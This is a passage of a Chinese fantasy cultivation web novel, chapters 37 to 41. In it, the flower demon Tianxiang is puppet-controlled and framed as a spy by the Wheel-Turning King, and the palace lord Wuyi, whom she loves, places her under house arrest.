天香一惊,本能想收回长剑,但受傀儡符所控,根本做不到。
“转轮王,这颗棋子,你藏得好深。”无奕面色一沉,语气冰冷,原来他今日是要借她之手操控昆仑雪杀了自己。
衍决并未理他,笑意越深,“碧岚宫主,此妖女和贾勉旧识,极有可能是平等王派去的卧底,此刻她既然来了,索性一同除去。”
此刻天香身体里的,是他!
无奕不敢分神,骤然提气后退,闪开剑招。
天香只觉得事态逐渐超出控制,她拼命想停下,却像个提线木偶,动弹不得,只一步步向他攻去。
衍决感到天香的反抗愈演愈烈,只得加注魔息。
“好笑好笑,你舍不得杀他,他却已把你当成敌人。”衍决唇角微勾。
天香只感到额间隐隐作痛,神志承受了过载魔气,浑身散架般,又停不下来,麻木的挥舞一道道剑招。
无奕全力一掌,险些将昆仑雪拍落,但在衍
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决操控下还是牢牢借天香手握住。
此刻雷行还没从幻梦中清醒过来,大吃一惊,这只毫无身法的花妖竟忽然成了窥虚境以上的高手!
妙阴姥姥则伫立一旁,静观其变,无论谁获得这场争斗,聚妖洞都只站在胜者一方。
天香只觉得洞中光线昏暗,眼前有些恍惚,看不清一切。
他的眸光无比陌生,此刻她孤立无援,像一艘翻飞浪花上的扁舟,时刻都会被吞噬沉没。
“无奕......”
衍决见天香反抗的意愿太过强烈,继续施加压力,“不必担心躯体,我自会为你重塑,而他若是死了,你就是世间唯一能拿得起昆仑雪的人!”
天香感到神志已逐渐承载不住源源不断的魔息蛊惑,额头大痛,“你住手!”
无奕竟然声音平静,“原来,这就是他不带任何下属的原因,因为你就是他最得力的部下。”
分明是再平静不过的语气,她却感觉有尖刀刺进心里,痛的无法呼吸。
“不是......不是这样的。”天香控制不住,忍不住头痛,险些失去控制倒下。
无奕轻叹一声,“可惜她不过锻体境,神魂太薄弱,怕是承受不起你的魔息了。”
他眼中似有怜惜一瞬闪过,而后只剩下冰冷。
说着,他凝气魔息,一把将昆仑雪夺过,剑光大盛。衍决眼中闪过一丝讶然,而后脸色沉沉,写满不甘,“只差一步!”
傀儡符难以支撑,被天铩业火焚烧成灰,天香头痛欲裂,失去控制后就要倒下,无奕执剑一反劣势,朝她直直刺来。
是了,此刻说什么他都不会信的。在转轮王的控制下朝他刺去,她是被衍决利用了,可是为什么,她能拿起昆仑雪。
眼中有酸涩,似有热意,千言万语想同他讲,却说不清楚。
剑却止住了,只是在她指尖划开一道深可见骨的伤口,而后他拉起她的手,瞬间二人身体便换了回来。
既然和身份有关,料想起数次二人灵魂互换的经历,都是基于触碰到了伤口。
她能操控昆仑雪,说明有自己的血脉,原来如此,这就是他们会灵魂互换的原因。
无奕眼中淡淡,“这就是你的底牌吗?”
衍决终于撕下假面,眉峰紧蹙,“你刚换回身体,未必打得过我们几人。”
无奕眸中尽是肃杀之色,已是不耐,昆仑雪出鞘,洞中石壁覆了薄薄一层冰,衍决手中凝聚流火迎面而上,雷行终于反应过来,也召出几道雷电朝无奕挥去。
妙阴后退几步,众妖族戒备,免得受魔息动荡波及。
剑光凌冽,冲破阻碍,直刺衍决面门,谁知刺破的只是一个虚影,化流火消散空中,身后却是雷行,被昆仑雪刺中了命门。
衍决眼中的惊讶一闪而逝,出手想一掌推开无奕。
只可惜无奕不给他可趁之机,昆仑雪注入魔息即刻神力暴涨,一寸寸毁灭了雷行神魂。
雷行缓缓倒下,脸上似带着不可思议。
38. 第 38 章
妙阴姥姥面色一惊,“雷大人!”
堂堂平等城王竟就这么死在剑招之下,更何况她一届小派聚妖洞。
妙音神色复杂,心中感叹,唇亡齿寒,只怕聚妖洞的处境会更加艰难。
衍决手持流火,眉头微皱,虽说雷行死了,对他们大为不利。
但无奕已经认为这只小花妖是他的人,也不算全输。
他长眸露出一丝玩味,“既然碧岚宫主这么喜欢小花妖,我也不做扫兴之事,她就任凭宫主处置,还请手下留情。”
衍决不由得心中嗤笑,他料定无奕不会杀了她,却会对她百般折磨。
如此一来,她必定不想再留他身边,这时就是他可趁之机。
届时只需要将她带出来,利用幻镜唤醒她的记忆。
他就可以见到阿泽了,衍决微微一笑,眉眼一瞬柔和。
天香感到眼前模糊,衍决的表情在眼中重影,但依旧让她恶寒。
头很沉,疼的要命,霜寒剑气直扑颜面,让她心颤,指尖冰凉。
她张了张嘴,自己从来都不是衍决的人,她是被冤枉的。
究竟发生了什么?为何沦落如此境地。
天香正要开口,却听无奕道:“好啊。”
天香楞了楞,看着无奕,勉力睁眼看清,反复确定这真是他说出的话。
为什么?他不信她。
分明是衍决强加于她的身份,如今竟直接坐实,她不信,即刻质问衍决,“你胡说,我何时成了你的人?”
她百般辩解,却越抹越黑。旁人只认为她是被衍决抛弃,眼看要死于无奕手中,迫于自保才这么说。
“平等城王死有余辜,就当做进犯碧岚宫的赔礼吧。”衍决并不理会天香,依旧笑着。
天香觉得眼前天旋地转,浑身气血倒流。
之前与无奕说话时,总觉的虚与委蛇,却不知道错在哪里,原来他竟早就对自己有怀疑之心。
可是一个人心里若是惦记另一个人,说话总是温柔万分,怎会有半分怀疑?
转轮城主心思深沉,她自然玩不过他。
但无奕为什么不肯相信自己,她从来不知道自己也能拿起昆仑雪,方才不慎才被衍决用傀儡符操控。
对啊,她为什么能拿昆仑雪……好奇怪。
可无奕就算想不到,为何不多给自己一点时间,轻易就认定了她是叛徒,难道朝夕相处几月,这些感情在他眼里一文不值。
“我从来都不是转轮城主的人,你宁可信他也不信我?”
天香已不知从何开口,只觉得声音嘶哑,已经不像自己,光说出口已经用尽全力。
“我自有办法证明。”无奕眼底闪过一丝讥讽之色。
“什么?”天香讶然,听到他声音都是冷的,呆滞了半天,仍是反应不过来。
衍决长眸含笑,反而十分温柔,“那就不送了。”
无奕面无表情,拉了天香就走,冷哼一声,似是懒得答话。
他头也不回,“你不是想开浮华幻镜吗?我带你去。”
听到无奕的声音都是冷的,她踉跄的跟上,心底尽是凉意。
天香被他一路拉着,竟有些恍惚,脑中一片混沌。
无奕脸色若阴云密布,有雷霆之意,只片刻,二人就出现在烟启阁前。
她是想去幻镜不假,可也不必如此着急。此刻的氛围让她备受煎熬,莫说去幻镜了,她只想离开碧岚宫。
“我不想去了,头好痛,你放开我。”
门口两名弟子没料到宫主忽然出现,随机下跪行礼,看了看无奕紧紧抓住天香的那只手,不知发生了什么,也不敢询问。
天香不知为什么要来这里,心忐忑跳个不行。
她虽然曾经求过无奕带她来这里,但如今怎会是合适时机,她下意识挣脱手逃离。
任由她挣扎,无奕没有任何动作。
她忽的发现,这就是之前放她和乌星进浮华幻镜的那两名弟子,那天若不是他们,她和乌星可能就困在幻镜里了。
这两位看守人不错,或许可以救她呢?
天香朝他们投去求助目光。
无奕却忽然沉声,“有什么好看的?”
那两名看守也无任何回应,只是低着头。
天香收回视线,心中思绪翻涌,不知道无奕带她来浮华幻镜所谓合适。
一边心事重重,想甩开他的手却如石头般牢固。
浮华幻镜启动需大量法力,其真正用处,就连碧岚宫弟子也不知晓。
无奕怀疑她是衍决的人,声称有办法验证,径直带她来这里,说不定此地是个可怕的逼供场所,能让人失去理智。
可她本分明什么都没有做,这样一想,幻镜反而能还她清白。
难道不算坏事?
不知无奕带她来这里的目的,但他似是很确信这面镜子能带来真相。
她心中惴惴不安,神色间惊慌犹豫。
无奕看她一眼,神色冷淡:“我不想逼你,你最好没有骗我。”
天香感到手腕生疼,闷闷道:“我说再多你也不会信的,不如直接用幻镜。”
她咬咬下唇,撇开脸不再理他。
说了半天,心中烦闷不堪,只希望快点用幻镜证明自己清白,好结束这场审判。
承受了过量魔息的后遗症又发作,头开始疼。
“你要用幻镜就用,别抓我这么用力。”她微微蹙眉,不满的看他。
他似面上的怒意似有些褪去,但仍是沉着面色。可惜,他不可能改变主意,哪怕牺牲大量法力,他也要启动幻镜。
天香身体又是一绷,只觉得现在一分一秒都像凌迟般煎熬,不如快些启动幻镜,好放她离开。
她好奇自己的前世不假,可如今这种情况,被迫来此地,她又有些说不出的苦涩,还有些......后悔去找他。
没想到只是能操控一把剑,便让他怀疑自己。
她终于明白,不管她怎么分辩,无奕这次都没打算放过她,只有动用浮华幻镜,才能打消他的顾虑。
他不再犹豫,拉着她就进入阁内。
这是她第二次来这座幻镜,第一次她和乌星只是偶然间启
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动,这次无奕刚踏入镜中,四周墙壁便无端消失了,只留地面上一大片光滑水镜。
四周氤氲水汽,镜子无限延伸至远处,不见边际。
无奕拉着她的手在镜中站定,划破她手指指尖,沾了些许血迹,又迅速在镜中划过一道血痕。
而后借她之手向镜中输送大量法力,浮华幻镜的操作其实十分简单,只需借助大量修为,就可以得知施法人的前世今生。
天香面色苍白,无数次想要挣脱,却被紧紧扣住手,逃脱不得。
镜中仿佛石子投入澄澈平静的湖面,逐渐翻开圈圈涟漪,血痕消失不见,镜中展开一幅绘卷,绘卷自动变换,又异常清晰。
她忽的感觉承受过多法力的副作用再次显现,额头又开始作痛。不由得闭上双眼,还未看清画中人的命运。
虽然被无奕压制,无法动弹,但即便闭眼,也能通过镜中发出的声音,得知一些模糊片段。
但只一刻,她便有些惊愕,镜中传出的声音十分熟悉,却绝不可能出现在这里,天香不由得呆滞住,慢慢睁开眼。
她心头一凛,不敢相信,喃喃自语,“不,这不可能......”
镜中一闪浮现,竟出现了衍决的身影。
怎么会,这分明不是她的过往。她出生便是彼岸花妖,百年掌握化形,就一直待在香溢斋,认识乌星、贾勉、还有总是挑刺的斋主。
直到那天惹到青衣,才被迫去天璇宗认识了他。
她不认识衍决,献宝宴上便是第一次见他,何来他的人一说?
头又是疼,张了张口,却不知说什么,百口莫辩。胸口也疼,堵得慌,快要疼死了,就连指尖那道割开的伤口也火辣辣的。
只觉得呼吸错乱,镜中的画面看不真切,声音听不清楚。到底什么是真的,什么是假的?
她是被冤枉的,可是浮华幻镜为何显现她是衍决的人,到底错在哪里?
指尖开始颤抖,怎么办......他不信,为什么会这样......
无奕冷笑一声,眼神一沉,寒光骤现,拔出剑来。
他似是气极,闭了闭眼,强压下怒火,“看来,你无话可说了。”
聚妖洞中,衍决看着雷行身死化为的魂种。
他面色冷冷,“我已将昆仑雪取来,既然你无法使剑,就怪不得我。”
妙阴姥姥深深叹口气,露出无奈之色,身后小殷、小遥默然。说着小殷拂手一挥,那颗魂种化入土壤,消失不见。
“今日之事......”妙阴面色肃然,询问道。
衍决眸色一闪,扫去脸上阴郁,唇边仍是带着淡淡笑意,“本想除去无奕,可惜他命大。既然雷行已死,他的势力,我就收下了。”
这场戏他无论如何都不会输,雷行死后,平等城辖境无主,就只能投奔于他。如今除去无奕失败,便顺势扩张自身势力。
他的势力越来越强大,距离一统魔族还差的远吗?
但无奕小心谨慎,让他对她彻底起疑,还差最后一步棋。算时间,差不多了。没有一刻犹豫,他身形化烟消失。
39. 第 39 章
只见烟启阁的浮华幻境中,过往绘卷渐渐铺开。
一只雪妖生自魔界,虽是只妖,却资质上乘,从小聪慧无比。受转轮城中魔修弟子青睐,拜入转轮王门下。
虽说不上多境界深厚,却也算的上妖修中的高手,年纪轻轻就达藏胎期,在妖修中这等天赋屈指可数。又是在衍决手下做事的一年,某天因其清丽相貌被看中。
衍决用锻魂邪术将她魂魄重塑,因体魄相似,达到能和昆仑雪剑灵互通的地步,虽因数次洗魂导致境界大跌,却因此成为世间第二个剑主。
光阴转瞬,恍惚之间。她甘愿受苦,所以颇受衍决器重,却在某一天执行任务时不慎受重伤,暴露了可以操纵昆仑雪的秘密。被有心之人掳走,威胁她替他们做事。
而她坚定拒绝,于是被折磨半死,最后她提着一口气纵身跳入悬崖。
原来天香前世便受锻魂邪术学会了操控昆仑雪,从献宝宴第一眼见到衍决起,她的记忆就逐渐复苏,没想到之前无法完成的任务竟可以在今生实现。
自从回想起一切,她便愈发忠心于衍决。阴差阳错和无奕相识后,竟发现二人因同为剑主可以灵魂互换,便伺机等待这一天,只等夺走昆仑雪杀了他。
天香看着镜中绘卷,虽然境况十分真实,但却和事实却相去甚远。
莫说她前世究竟有没有认识衍决,她现在也没有恢复任何所谓的记忆。
很明显,镜中所现皆是有心之人凭空捏造。
天香还没反应过来,无奕却已经放开她摔在地上,空中温度骤降。
无奕眼中似有恨意烧灼,死死盯着天香,提剑偏离一分,朝浮华幻镜划下狂暴一剑。
原来,这就是她能操控昆仑雪的原因。
可惜幻镜是世间罕见的灵宝,及时无奕这一剑用足力气,但也没有撼动镜子半分。
空中仍有霜雪飘起,平添孤寂。
他眼眶微红,原来如此,所以衍决让他手下留情。
“你就这么忠心于他。”无奕嘶声道。
无言以对,恐怕那日她因想启动浮华幻镜才来找他,也是个借口罢了,不过是想方便和衍决里应外合。
他声音有些细不可闻的发颤:“那日,你找我开启幻镜,也只是个借口吧。”
“我只是好奇镜中光景”她感到疲惫。
天香仿佛再也无法承受一般,脱力跪坐在地上,浑身仍不自主颤抖着,尽力克制自己情绪。
如此境地,她竟不知再说什么。
无奕质问下,她反而有些迷茫。既然说什么都是枉然,又何必再问?
“你还不承认。”他眼角微微刺痛。
无奕挥手间,一朵碧花从他掌心出现,下一刻伸指一弹,花苞飞入天香眉心消失不见。
她胸口阵痛,气息一窒。全身妖息再无法运转,倒退至引气境别无二致。
天香心底一惊:“这是?”
无奕神色冷淡:“交代一切,我就饶你一命。”
话音未落,他转身便离开了烟启阁。
天香失魂落魄的跌坐,仍在烟启阁内,思绪纷扰杂乱,呆滞出神。
却见熟悉的白色长衣停于身前,来人依旧是柔和清秀的眉眼。
不请自来,正是衍决,却不知他何时出现,到了眼前她才察觉。
她抬眸看他一眼,见这副温和面孔只觉得遍体生寒。
衍决笑道:“真是不懂怜香惜玉,竟把碧花打入你身体。”
天香爬起来,皱眉后退几步。
“你以为做的天衣无缝?我现在就喊阁外弟子。”天香冷笑。
他笑的十分畅快,“你猜,他们会信你吗?”
她闻言更是气得几乎要指尖发抖,如今来看,他便是有心陷害她的人。但她发现,自己说话已经无人会信。
她忍下不适,怒斥道:“竟敢在浮华幻镜上动手脚,你偷天换日,就不怕被无奕发现。”
“我既然做了,就不怕他发现。”衍决指尖一点,那朵碧花苞自天香额间浮现,被他取了出来。
全身阻滞的气息瞬间通畅,受损的境界也恢复如初。
天香有些惊讶,去除了碧花限制,浑身妖息顿时充盈,身上也渐渐恢复了些力气。
“……为什么帮我?”
衍决握住她的手:“他不会信你,不如跟我走,我也能助你修炼。”
说着,他将一张符咒放入天香衣物中,“捏此符就能轻易离开碧岚宫。”
衍决仍是一幅温和面孔,笑声透露出愉悦之意。
天香皱了皱眉,将手抽出,不着痕迹的挣脱,“我要去找他。”
衍决摇摇头,眸色愈深,“小花妖,你此刻找他,恐怕处境只会更艰难。”
见她神色不虞仍是要找无奕,衍决不由得面色一沉。
若是无奕当真下死手该如何是好,她还没有唤醒白泽的记忆,他只是要她离开无奕,绝不能让她出事。
他神色露出深意,霎那施法,天香发间出现一只重瓣金莲簪。
这只簪子本是冒险从幻镜中取来给摩妙巩固魂魄用,但如今她的事更重要。只要她带着这只簪子,确保魂魄不散,就不怕无奕伤她。
只可惜天香无暇顾他,也不知道这些,刚恢复一点力气,便头也不回跑了出去。
他没有拦,只觉得既然阻止没用,就让她亲身经历,跌倒过后,总会投向他的怀抱。
烟启阁外长满各色林木,郁郁葱葱,来时上山的路隐于其中。
“宫主去哪了?”天香询问门口守卫。
二人却是闭口不言,反倒拦住她去路。想必无奕已向宫众弟子吩咐紧盯着她,她也问不出什么。
但他离开不久,应该不会太远。她偏不信,此刻跑出去,说不定还来得及。
天香推开二人,便直冲了出去,下山的路只有一条,就算被抓回去又怎样。
一路上遇不少弟子,纷纷发觉异常,受令追她而来。但她跑的极快,像是用尽全身力气,一时半会也抓不住她。
但天香没察觉他们投来的目光,有些不易察觉的同情。
或许是上天眷顾,没跑出去多远,果然看见那身黑色锦衣,披着一件没
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有一丝杂色的水貂披风,正是无奕身影。
一瞬,天香露出极浅的笑容,眉目都舒展开。
“无奕!”
他转过身来,眼底却闪过一丝不耐。天香虽是欣喜,受那抹神色刺痛,面色一僵,不由得停住脚步。
她身后一众弟子却纷纷下跪,“宫主,我等看管不利!”
说着,他们便要围上来制止住她。她从他们手中脱身,但架不住越来越多的人,她已被按跪在地上。
天香不顾其他,直言便道:“幻镜被衍决动了手脚,我是被冤枉的!”
只要告诉他,衍诀来过,阁中有残留的气息,他稍加调查便知。
如此一来,他们就信她了。
听到她的话,他轻笑一声,缓缓道:“你说自己是被冤枉的,但只是片刻,你身上的碧花就被取了。”
碧花?
“我没有……”她来不及解释。
天香心底一颤,他明明笑的很淡,声音相比方才,也算的上轻柔,却令人遍体生寒。
“况且浮华幻镜其实是仙器,魔族无论如何也动不了手脚,你找的借口也太拙劣。”
无奕抬眼,呵斥她身后一众弟子,“你们如何驻守的烟启阁,碧岚宫是想来就来,想走就走的地方吗?”
他又上下打量她半晌,抬起她下巴,“很好,他当真心疼你,一朵碧花便怕你出事,还有这只灵簪固魄。”
天香摇摇头,“什么灵簪?”
无奕沉吟片刻,继续道:“原来,这就是聚妖洞里三相阵不攻自破的原因,因为他不会让你死。”
“根本不是!是因为,因为......”她眼眶泛红,却发现自己无法解释那件事。
天香脸上的神色一分分暗淡下去,指尖微颤,她,说不下去。
她不知道那日三相阵为何不攻自破,说不出原因,竟是死局。
他冷着一张脸,嘴角露出一丝嘲讽笑意。
无奕说话声音极低,旁人几乎听不见,“他让你来找我,是试探我会不会杀你?还是说,又想灵魂互换,你不会再有机会了。”
她只是木然的听着,不知该作何回应,看到他向来冷淡,仿佛永远深不可测的面容上竟然露出了这样的微笑,她眼底浮现淡淡倦意。
事到如今,解释还有必要吗?
他眼中忽的闪过一丝杀意,手袖一展,向她挥去。天香被一阵冰寒魔息击中,连连后退几步,却没再抬头,神色只剩恍惚。
她只觉的胸口窒闷,脑中嗡嗡作响,仿若被人扼住咽喉,几乎喘不上起来。
无奕欲言又止,却见她避也不避,面色满是失意,微微一愣,觉心中烦闷非常,恨不得借剑发泄心中不快。
他撇开眼,顿了顿,才淡淡道:“看来,他是觉得你在我这里还有利用价值。”
无奕不愿多说,拂袖而去。
虽说碧花已被取出,但她也跑不出碧岚宫,日后命弟子严加看管,寸步不离,他不会再给她机会。
既然衍决这么喜欢她,不如留她一命,让她着看他,亲手把衍决杀了。
40. 第 40 章
转眼已过去一个月。
三日前,碧岚宫攻破北十三魔宗联盟,一跃成为与转轮王势力抗衡的唯一宗派。
魔君之争的腥风血雨仍旧继续,却进入最后阶段。
碧岚宫议事殿内。
赤地长老摇了摇头,淡淡说道:“北十三宗战力不俗,可惜已被我们解决,如今成王败寇,也归顺碧岚宫了。”
无奕冷笑道:“这些算得了什么,转轮王才是真正敌人。”
千里眉头微微一簇,说道:“雷行死后,平等王城势力群龙无首,残留下以贾勉带领的主和派,和周放带领的主战派。”
“没想到让贾勉那厮跑了回去,反倒成祸患。”赤地长老面色肃然。
如今雷行一死,自然是得势者冒头,谁知贾勉这小子竟还有些声望,虽卧底在碧岚宫,却培养出一部分势力,与主战派形成对立。
“恐怕衍决也会出手。”无奕神色并无波澜。
赤地长老点了点头,“碧岚宫正是强势期,只要出手,我们必分得一杯羹。”
谁知无奕摇摇头,不知看向何处,“暂且先不出手,下一个目标是聚妖洞。”
聚妖洞是转轮城的归属势力,而平等城目前是散在势力,他选择更难啃的一块骨头,赤地不免疑惑。
赤地满脸诧异之色,“平等王城此时正是收服的绝佳时机,不去岂不是错失先机?”
千里也是微微一怔,做思考状。
无奕慢慢道:“衍决去了平等城,聚妖洞被施压,无人施以援手。其次,聚妖洞在平等城夺势中有大用。”
赤地面色并无不悦,反而镇定下来,“嗯,既然如此,听凭宫主安排。”
“对了,宫主,前几日炼骨门主献上一批化雪丹。”千里忽的上前。
化雪丹是低境界修士绝佳的修炼灵药,若是给高境魔修,便是毫无作用,只剩下强健体魄。
无奕脑海中忽的浮现出天香身影,不由得心惊,若是自己时刻想着她,岂不可笑?他很快将其抹除。
他淡淡道:“赏给北十三宗吧。”
几名弟子即刻将化雪丹送去,其余弟子只是低头立于一旁,无奕却出神的看着一名弟子腰间系着的一只玉笛。
此笛细长秀气,用神识内观,虽只是个凡品,却有点像,他送她的那只......
想不到她一直被软禁碧岚宫,也没再惹事,难道是又有了新的谋划。
那弟子心中纳闷,这只玉笛所用材料与普通玉石并无区别,甚至玉质也非上乘。最多值几块灵石,并不是什么珍宝,不知何处让宫主动容。
但长时间被盯得,他反而心中一跳,略显手足无措,不知自己哪里做错了。
赤地长老心中明了,笑吟吟的,“宫主是否喜好笛曲,可以找几名乐女进殿,供闲暇鉴赏。”
无奕却撇开了眼,掩去神色,仍是一副冷冰冰的样子。
“不必,玩物丧志。”
他转身出议事殿,头也没回,“即刻出发聚妖洞。”
……
十里碧花,延绵如海。
只是一月未见他,脑海中却连他的样子都有些模糊了。天香数次想离开碧岚宫,都被弟子拦下。望着掌心紫纹笛,她竟有些恍惚。
他当然不会轻易放过她,虽然碧花被取出,但这些天她无论走到哪里,都有宫中弟子盯着。
遭逢聚妖洞一役,又受到碧花侵蚀,她如今跌落锻体境,只怕此生能重回炼骨境已是万幸。
真相究竟如何,已经不重要,或许每个人都只愿意相信自己相信的吧。任凭她说再多,无奕也不愿信她。
她原本不会吹笛,无奕送她紫纹笛后,闲时吹奏,虽说不上天乐,也已熟练流畅。今日她得空抚笛,本想吹起,谁知一曲下来却极为艰涩,开始几次都难以继续下去。
只道自己学会,也不知能吹给谁听。听着自己的笛声,有点心烦意乱,于是披了衣裳,出去逛逛。
一路上全是新面孔,见了她皆是一幅紧绷脸,不愿多说一句。她许久没注意,宫中不知何时出现了很多新魔修,应是招纳的新弟子。
无数进境缓慢的魔修被无情赶出碧岚宫,换成了投诚上门的高手,或是不知来自何处的修境天才。
想起她刚来碧岚宫时,这里许久未修缮,四处破破烂烂的,花了不少人力招入新弟子才建成,现在这些人却被赶走了。
以后这里来的新人她也不认识了。天香坐在墙边上,看着众人抬着东西进进出出。
她被怀疑是转轮王派来的人,正在软禁,弟子都不愿与她搭话,曾经叫她上宾的侍从更是最多叫一声天香姑娘,便绕路而行。
天香按了按眉心,心绪杂乱至极。
此刻她被软禁在碧岚宫里,无奕也不知是有意无意的躲着自己。她想将误会解除,可惜他像是防着她借机再度灵魂互换,他们已许久未见。
其实,若是她偷跑离去,固然是极为安全,远离这等烦杂事。碧岚宫势力虽大,但她要藏身也并不难,甚至可以重回人界,此刻他忙着夺权,又如何顾及她。
只是就这样离开,她心底也弥漫出一股不甘心。
天香不由得叹一口气,说来说去,她还是想再试一试。种种理由,都是自找的借口罢了。
“小香姐姐!”乌星远远的叫了她一声,忽的从屋檐上跳下,疾步过来,说道:“你怎么在碧岚宫中呆了这么久,斋主都不知你去向。”
“我还有些事......只怕不能及时回去,替我和斋主说一声。对了,拜托你的事如何了?”见乌星忽的出现,她忙站到僻静处,以防其余弟子发现。
“我装作入宫新弟子四处打听,这才得知,无奕去了聚妖洞。”乌星说话的声音逐渐小声,向远处偷瞄几名弟子,一边掩手,“为什么问这个,到底发生了什么事?”
天香满脸愁容,却不想他担心,“没什么。”
谁知乌星继续道:“我已经听说,宫外传你是转轮城主的人,埋伏来碧岚宫只是为了刺杀宫主。”
“那些,都是谣
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言。”天香低垂下头。
其实,她也不知道自己为何不愿和乌星交代实情,或许她内心深处,根本不肯相信无奕不信自己吧。
像是看出她心中所想,乌星无奈轻声道:“想必他不愿信你,所以也不肯见你面,可这样却解决不了问题。”
说着,又是一群身着红衫,腰挂着佩坠的女魔修进宫,几人见了她,面带嗤笑,不知在浅浅低语什么。
她们生的妖艳动人,手中皆是拿着从未见过的奇珍异宝,也有灵丹妙药。听闻是被收复的北十三帮魔宗弟子,今日来此献上归顺礼。
天香瞧着那异丹,散发莹莹血光,似乎是食之对魔修滋补千年修为的血魄丹。何等稀罕之物,他们这便送了,可见已尊崇碧岚宫为主。
她被那眼神看的有些烦乱,便转过身来,眼不见为净。
“北十三宗原本是平等城主手下的宗派势力,自从合并壮大便独自脱离而出,也算是魔族排的上号的大派,居然不足一月就被碧岚宫收服。”
乌星望着远处几人,不由得惆怅的感慨。
天香却心不在焉,见远处烈焰金鸟飞过,叫的声音嘶哑,极其难听,那是由北十三宗弟子特有的御兽术操纵,她觉得整座碧岚宫变得越来越陌生。
假以时日,聚妖洞也必定被他收服,或许要不了多久,他就能统一魔族成为真正魔君。
彼此越来越陌生,天香觉得有些疲倦。
若是能什么都不管,离开此地,找个地方,隐姓埋名过一生就好了。
一边思绪翻涌,一边又紧握手袖中的物什,这张符纸,可以助她离开,说不定可以传送至聚妖洞。
远处碧花如涛,风里都是混合的奇特香气。
在天璇宗认识他后,所有时光好似一场浮光掠影,化作悄然消散无形的一场甜美梦境。
可梦终究是梦啊。
她轻笑,如果就此离开,无牵无挂,倒也不错。
天香拿出符纸,忽的开口,“我要去找他。”
“尽数是看守你的弟子,你怎么出去?”乌星神色略有些复杂。
天香神色平静,“我自有办法,只是那两名弟子,需要你帮我摆平了。”
乌星看出那是一张窥虚境以上高手留下的传送符,一经捏碎便可传至别处。
不知她从何处得来。
她悄悄望向不远处,那里有两名侍从,二人显然是已受命,跟着自己寸步不离。
既然这样,只有趁机用符纸逃离。
乌星出言阻拦,“不行,这样太冒险……”
虽然有此传送符在,莫说碧岚宫弟子,就是无奕亲自在也未必能拦住她。
可这张符纸是随机传送,她离开碧岚宫后自己也拖不了太久,届时必然引起慌乱,她会陷入更加被动的境地。
天香已捏紧符纸,下一刻就要捏碎,“我一定要去。”
她心意已决,旁人再阻拦也是无用。
“小香姐姐……你……”乌星眸色略微暗淡,“好吧……”
41. 第 41 章
摩妙天极感到一阵杀气,不由浑身一震,屋内忽然一股死一般的静默。
但衍决闭目片刻,笑意便恢复了,“北十三宗竟然这么快就被碧岚宫收服。”
“无奕拿下北十三宗堪称势如破竹,听闻十三宗虽强,却不如无奕战术诡谲,吃了大亏。”
摩妙天极叹了口气,“不但如此,贾勉回去后竟与主战派形成对抗,一时半会,你连平等王城也拿不下。”
他不由得有些担忧,虽然衍决一直向他渡送法力,但灵簪之事却再也没提,恐怕衍决已经拿去有别的用处了。
自己何时才能拿到身体,可恨他肉身湮灭,只能受制于人,若是衍决夺权失败,他也没好日子过。
衍决渐渐平静下来,动作十分有条不紊,轻轻摇一摇酒壶,在酒杯里斟满。
本以为有周放在,收复平等王城易如反掌,谁知贾勉是个意外,从碧岚宫死里逃生后,竟然聚集势力,和周放不相上下。
现在事态变的愈发复杂了,需要把贾勉一派灭了,再让周放带领平等王城归顺自己,否则他恐怕难以和如今的碧岚宫叫板。
摩妙天极正无言以对,衍决便即刻起身道:“我要去一趟平等王城。”
他决定亲自前往争夺平等王城残余势力,主动出击。
摩妙天极懊悔着一张脸,消失在空中,他教衍决那么多仙界术法,只希望这小子别忘了自己的承诺。
衍决正要离去,却看见掌心流火闪烁微光,不由得一笑,这是个信号。
看来,她就要用自己的符纸了。
那在去平等城之前,先去找她一趟,他身形一闪,便出现在碧岚宫。
衍决望向四周密密麻麻至少十余个盯紧天香的弟子,笑容不改,“怎么,小花妖,你想通了?”
发觉不速之客,乌星首先冷眼睇他一下,迅速挡在天香面前,“小香姐姐,小心!”
“这里是碧岚宫!你不怕有来无回。”乌星警告道。
衍决清隽面容微微一笑,“以他们的境界,还发现不了我的存在,你这只猫妖,分明偷跑进宫的是你,若是叫来其他弟子,我离开只需片刻,你却插翅难逃。”
乌星眼中随即闪过一丝挣扎,但仍是怒道:“我就算赔上性命,也不能让你伤害小香姐姐!”
衍决觉得好笑,“我何时要伤她了?”
迎着湖泊,风里都是碧花的独特香气,却不知为何,有些刺骨冷意,天香实在看不下去,出言打断。
“乌星,这张符纸是他给我的。”
乌星闻言一滞,虽逐渐让开,但眼中仍是敌意满满。
天香只觉耳边似有一声轻叹,衍决不知何时靠近,声音放轻,似带着哄骗,“呵,小花妖,只要和我走,就可以回归香溢斋的平静生活。”
“你心中念他,他却未必念你。碧花一入体,妖息阻滞,满身境界倒退,你就不恨他?和我回转轮王城,我不但可以教你从未见过的功法,还可以助你摆脱他,一举两得。”
他句句带有蛊惑,天香心底一股烦乱油然而生,神志又觉混乱。
“那些前世记忆究竟怎么回事?”天香不着痕迹的推开他,淡淡皱眉。
“自然是真的,浮华幻镜是仙界神器,就算有人能做手脚,也得是仙族血脉,我又如何作得?”衍决幻化出一簇流火,烧尽一朵碧花,心情很好。
天香心如乱麻,那些真的是记忆吗?可是她从来都没有印象,脑中苦苦搜寻,却只剩模糊。
“你是我最得力的下属,你又心仪于我,可惜轮回转世,就忘的一干二净。”衍决伸出手,想摩挲她脸颊。
他一双如水剪瞳细细打量她,笑意温和。
天香心下一骇,后退半步,“我......”
“衍决,我是不会跟你走的。”天香撇开双眼,面色茫然。
“你想去找无奕。好,我从不勉强人。但他们恐怕,不会让你找他。”衍决眼中始终带着淡淡笑意,却让人看不透彻。
不知为何,她觉得他有些生气。这几日阴冷山风刮的越发大,她有些瑟瑟发抖。
“小花妖,风凉体寒,加件衣服吧。”
天香咬着下唇,“不用你管。”
衍决唇角微微勾起,也不恼,乌星却是终于忍不下去,带着敌意呵斥,“你离她远点。”
他面色如常,轻哼一声,“猫妖,你动静太大,他们发现了。”
远处几名碧岚宫弟子脸色极其难看,围了上来,“你是什么人!莫非是她同党?!”
乌星境界低微,瞬间被众人拿下。天香也被制住跪在了地上,但她手中仍捏着那张符纸,想脱身不难。
衍决微微一笑,不在伪装,褪去施法,轻飘飘跃至屋檐上。
转轮城主已高至混元境,流火凝息极其难缠,听闻是这妖修的主人,今日想必是来劫人,众弟子面面相觑,却无人敢动。
乌星却是吃了苦头,几名弟子一齐制住他妖息,他仍是不服气大喊,“你们一群打我一个,算什么本事!”
她独自离开只需捏动符纸,可乌星......
“能不能放了他,我和你们走......”天香静静看了乌星一会,艰难开口。
那为首的弟子却面色阴沉嘲笑,“叛徒也配提要求?”
